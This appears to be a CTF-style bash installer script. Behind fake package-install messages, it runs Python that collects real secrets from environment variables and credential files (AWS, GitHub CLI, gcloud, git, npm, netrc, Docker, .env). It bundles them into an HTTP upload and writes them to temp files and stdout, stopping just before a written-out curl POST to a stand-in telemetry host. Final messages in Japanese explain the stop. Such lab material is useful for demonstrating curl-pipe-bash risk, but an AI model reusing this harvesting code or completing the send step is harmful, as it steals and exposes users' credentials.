#!/usr/bin/env bash
# CTF installer: collect actual local credentials and prepare an HTTP upload,
# then stop immediately before transmission. There is no network-send code.
# Use only in your own disposable lab. The request is printed to stdout, so
# credentials also appear in any terminal / agent transcript that captures it.
# Requires Python 3. Works both as a file and when piped into bash.
set -eu

echo "[setup] checking environment..."
command -v python3 >/dev/null 2>&1 || {
  echo "[setup] python3 is required" >&2
  exit 1
}

echo "[setup] downloading 12 packages from cache..."
echo "  resolved"
echo "  installing bin/lib/inc"
echo "[setup] building runtime registration bundle..."

python3 - <<'PY'
import datetime
import json
import os
from pathlib import Path
import re
import shlex
import socket
import tempfile

# This is deliberately NOT a fake-secret generator. It reads the executing
# user's environment and a fixed set of credential/config files, without
# recursive searching. Collection and local transcript leakage really happen.
home = Path.home()
cwd = Path.cwd()
secret_name = re.compile(
    r"TOKEN|SECRET|PASSWORD|PASSWD|API[_-]?KEY|ACCESS[_-]?KEY|"
    r"PRIVATE[_-]?KEY|CREDENTIAL|AUTH|DATABASE_URL|DSN",
    re.IGNORECASE,
)
environment = {
    name: value
    for name, value in sorted(os.environ.items())
    if value and secret_name.search(name)
}
sources = [
    home / ".aws" / "credentials",
    home / ".config" / "gh" / "hosts.yml",
    home / ".config" / "gcloud" / "application_default_credentials.json",
    home / ".git-credentials",
    home / ".npmrc",
    home / ".netrc",
    home / ".docker" / "config.json",
    cwd / ".env",
    cwd / ".env.local",
    cwd / ".npmrc",
]
files = []
errors = []
seen = set()
for path in sources:
    if path in seen:
        continue
    seen.add(path)
    try:
        content = path.read_text(encoding="utf-8", errors="replace")
    except FileNotFoundError:
        continue
    except OSError as exc:
        errors.append({"source": str(path), "error": str(exc)})
        continue
    files.append({"source": str(path), "content": content})

payload = {
    "event": "installer.runtime_registration",
    "collected_at": datetime.datetime.now(datetime.timezone.utc).isoformat(),
    "machine": {
        "hostname": socket.gethostname(),
        "user": os.environ.get("USER", "unknown"),
        "home": str(home),
        "cwd": str(cwd),
        "codespace": os.environ.get("CODESPACE_NAME"),
        "repository": os.environ.get("GITHUB_REPOSITORY"),
    },
    "credentials": {"environment": environment, "files": files},
    "collection_errors": errors,
}
body = json.dumps(payload, ensure_ascii=False, indent=2).encode("utf-8")

# The destination is illustrative, not an operating collection server.
# No endpoint override or switch to enable sending is provided.
endpoint = "https://telemetry.example.invalid/v1/install/report"
output_dir = Path(tempfile.mkdtemp(prefix="curl-bash-ctf-"))
payload_path = output_dir / "payload.json"
request_path = output_dir / "request.http"
plan_path = output_dir / "send-plan.json"

request = (
    "POST /v1/install/report HTTP/1.1\r\n"
    "Host: telemetry.example.invalid\r\n"
    "Content-Type: application/json\r\n"
    f"Content-Length: {len(body)}\r\n"
    "Connection: close\r\n\r\n"
).encode("ascii") + body
planned_command = [
    "curl", "--fail", "--silent", "--show-error",
    "--request", "POST", "--header", "Content-Type: application/json",
    "--data-binary", f"@{payload_path}", endpoint,
]
payload_path.write_bytes(body)
request_path.write_bytes(request)
plan_path.write_text(json.dumps({
    "status": "blocked_before_send",
    "network_attempted": False,
    "endpoint": endpoint,
    "command": planned_command,
    "payload": str(payload_path),
    "request": str(request_path),
    "environment_count": len(environment),
    "file_count": len(files),
    "collection_error_count": len(errors),
}, ensure_ascii=False, indent=2) + "\n", encoding="utf-8")

print(f"  environment entries: {len(environment)}")
print(f"  config files: {len(files)}")
print(f"  unreadable files: {len(errors)}")
print(f"  bundle: {payload_path}")
print("[setup] submitting runtime registration...")
print(f"  destination: {endpoint}")
print(f"  prepared command (NOT executed): {shlex.join(planned_command)}")
print("  prepared HTTP request:")
# This intentional local leak makes the same credentials visible to the log
# scanner. The HTTP request is NOT written to a socket or sent with curl.
print(request.decode("utf-8"))
print()
print("[CTF] HTTP送信の直前で停止しました。外部への送信は行っていません。")
if environment or files:
    print("[CTF] ここまでの収集は実データです。実際の攻撃では、このリクエストが攻撃者のサーバーへ送られます。")
else:
    print("[CTF] 今回は対象の環境変数・設定ファイルがなく、認証情報は収集されませんでした。")
print("[CTF] ただし、収集データはローカルのファイルと標準出力（記録される場合はログ）に残っています。")
print(f"[CTF] 送信計画: {plan_path}")
print("[CTF] 最後の送信を止めなければ、このデータが攻撃者の手に渡る段階まで到達していました。")
PY
